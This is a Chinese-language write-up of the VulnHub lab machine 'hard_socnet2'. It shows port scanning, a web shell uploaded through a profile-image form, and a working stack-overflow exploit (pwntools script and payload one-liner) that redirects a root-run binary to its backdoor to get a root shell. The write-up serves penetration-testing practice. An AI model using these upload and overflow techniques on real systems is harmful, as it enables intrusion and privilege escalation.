靶机下载地址：

https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

信息收集

第一步信息收集，还是老方法我习惯 fscan 和 nmap 一起用

Fscan 简单探测全局信息

┌──(kali㉿kali)-[~/Desktop/Tools/fscan]
└─$ ./fscan_amd64 -h 192.168.120.141___                              _  / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.120.141 is alive
[*] Icmp alive hosts len is: 1
192.168.120.141:22 open
192.168.120.141:80 open
192.168.120.141:8000 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.120.141:8000 code:501 len:216    title:Error response
[*] WebTitle: http://192.168.120.141    code:200 len:10609  title:Social Network​

nmap 扫描全端口

┌──(kali㉿kali)-[~/Desktop/Tools/fscan]
└─$ sudo nmap --min-rate 10000 -p- 192.168.120.141
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-01 19:15 CST
Nmap scan report for 192.168.120.141
Host is up (0.000033s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
MAC Address: 00:0C:29:F4:0E:58 (VMware)Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds
​

nmap 扫描开放端口和操作系统的信息

┌──(kali㉿kali)-[~/Desktop/Tools/fscan]
└─$ sudo nmap -sT -sV -O -p 22,80,8000 192.168.120.141
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-01 19:16 CST
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 19:16 (0:00:12 remaining)
Nmap scan report for 192.168.120.141
Host is up (0.00013s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
MAC Address: 00:0C:29:F4:0E:58 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.57 seconds
​

getshell

开放了两个 web 服务一个是 apache2 的，还有一个是 python 的

这里正常思路就是先访问 web 服务了，首先是 80 端口的服务

​

733 x 3991336 x 727

​

是一个用户登录注册的地方，因为这里没有 admin 的邮箱地址，所以我们只能尝试使用注册来看看登录后的系统是否存在漏洞

首先我们注册账号：

​

733 x 8521186 x 1378

​

登录后简单测一下漏洞：

​

733 x 4762190 x 1422

​

发现有 xss（但是没啥用）

​

733 x 1911757 x 457

​

测试其他漏洞：

​

733 x 5321893 x 1374

​

发现了文件上传，这里可以简单测试一下：

​

733 x 4051995 x 1103

​

传个马，似乎成功了，试一下连接：

​

733 x 4351906 x 1132

​

找到地址:http://192.168.120.141/data/images/profiles/3.php​

​

733 x 4511950 x 1200

​

可以成功连接

权限提升 1

提权：

​

733 x 447806 x 491

​

发现这个 cve 依旧可以。。。

权限提升 2

但是这里的预期解似乎不是这个,预期解需要 Pwn

现学 Pwn 咯

我们 getshell 之后可以在/home/user 目录看到

​

733 x 352994 x 478

​

一个 root 权限启动的服务

我们下载到 Kali ​用 pwngdb ​调试他(未安装可以安装一下：pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy (github.com))

先用 checksec 看一下开启的保护：

┌──(kali㉿kali)-[~/Desktop]
└─$ checksec add_record 
[*] '/home/kali/Desktop/add_record'Arch:     i386-32-littleRELRO:    No RELROStack:    No canary foundNX:       NX unknown - GNU_STACK missingPIE:      No PIE (0x8048000)Stack:    ExecutableRWX:      Has RWX segments​

除了一个 Stack，其他全关

启动一下 Pwngdb：

┌──(root㉿kali)-[/home/kali/Desktop]
└─# gdb -q add_record
pwndbg: loaded 147 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.                                
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)                                                                  
Reading symbols from add_record...
(No debugging symbols found in add_record)
------- tip of the day (disable with set show-tips off) -------
Pwndbg context displays where the program branches to thanks to emulating few instructions into the future. You can disable this with set emulate off which may also speed up debugging                            
pwndbg> 
​

我们先测试哪里存在栈溢出（因为只会栈溢出）

先准备好多个 A 用于测试栈溢出：

┌──(kali㉿kali)-[~/Desktop]
└─$ python -c "print('A'*1000)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
​

用 r 执行让程序跑起来：

​

733 x 6111104 x 920

​

输入后发现程序异常直接退出，判断这里不存在栈溢出，接着下一个点测试：

​

733 x 6781077 x 996

​

同样正常退出，接着往下测试，直到最后一个 explain：

pwndbg> r
Starting program: /home/kali/Desktop/add_record 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                  
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): a
Years worked(int): 1
Salary(int): 1
Ever got in trouble? 1 (yes) or 0 (no): 1
Explain: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAProgram received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────
*EAX  0xffffd27e ◂— 0x41414141 ('AAAA')
*EBX  0x41414141 ('AAAA')
*ECX  0xffffd6c0 ◂— 'AAAA'
*EDX  0xffffd662 ◂— 'AAAA'
*EDI  0xffffd340 ◂— 0x41414141 ('AAAA')
*ESI  0x80488d0 (__libc_csu_init) ◂— push ebp
*EBP  0x41414141 ('AAAA')
*ESP  0xffffd2c0 ◂— 0x41414141 ('AAAA')
*EIP  0x41414141 ('AAAA')
──────────────────[ DISASM / i386 / set emulate on ]───────────────────
Invalid address 0x41414141───────────────────────────────[ STACK ]───────────────────────────────
00:0000│ esp 0xffffd2c0 ◂— 0x41414141 ('AAAA')
... ↓        7 skipped
─────────────────────────────[ BACKTRACE ]─────────────────────────────► 0 0x414141411 0x414141412 0x414141413 0x414141414 0x414141415 0x414141416 0x414141417 0x41414141
───────────────────────────────────────────────────────────────────────
​

这里发现可以覆盖掉栈的地址，说明我们这里是可能存在漏洞的

如何利用呢？

利用 IDA 打开这个程序可以发现

​

733 x 3972281 x 1235

​

这个程序是存在 backdoor ​的，直接返回一个 system('/bin/sh')​

所以只要覆盖掉 EIP ​的地址为 backdoor ​函数的地址即可执行 backdoor 返回一个 /bin/sh​

下一步工作就是测试哪个位置可以覆盖 EIP，因为我们输入的 1000 个 A 中不知道具体是哪几个站住了 EIP 的地址

只知道确实是可以覆盖的：

​

733 x 5691105 x 858

​

所以我们利用 MSF 生成的随机字符串来定位：

msf-pattern_create -l 1000
​

​

733 x 3972174 x 1176

​

如图我们可以知道是 0Ac1 覆盖了 EIP，所以我们查找 0Ac1 前面有几个字符：

msf-pattern_offset -q 0Ab1
​

​

553 x 159

​

发现是 62 个，所以我们前面填充 62 位

开始编写 EXP：

​

733 x 6321222 x 1053

​

这里看到 backdoor ​的地址是 0x08048676​

垃圾字符是 62 个

写 EXP：

from pwn import * p = process("./add_record")
backdoor = 0x8048676
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')payload = b'a'*62 + p32(backdoor)
p.sendline(payload)
p.interactive()
​

但是只能在目标系统上执行不能打远程环境，用这个

python -c "import struct;print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload
​

然后运行

cat payload - | ./add_record
​

即可 getshell，并且为 root 权限，短划线 -​ 表示将前一个命令的标准输出（在这种情况下是 "payload" 字符串）重定向到 ./add_record 程序的标准输入，这样 ./add_record 将从标准输入读取 "payload" 字符串

​

733 x 1031062 x 149

​

Pwn 学习参考链接

【星盟安全】PWN全集，从入门到精通，最通俗易懂的CTF，持续更新中_哔哩哔哩_bilibili

pwn 学习----定位溢出点位置_pwn 通过把编译 判断溢出位置-CSDN 博客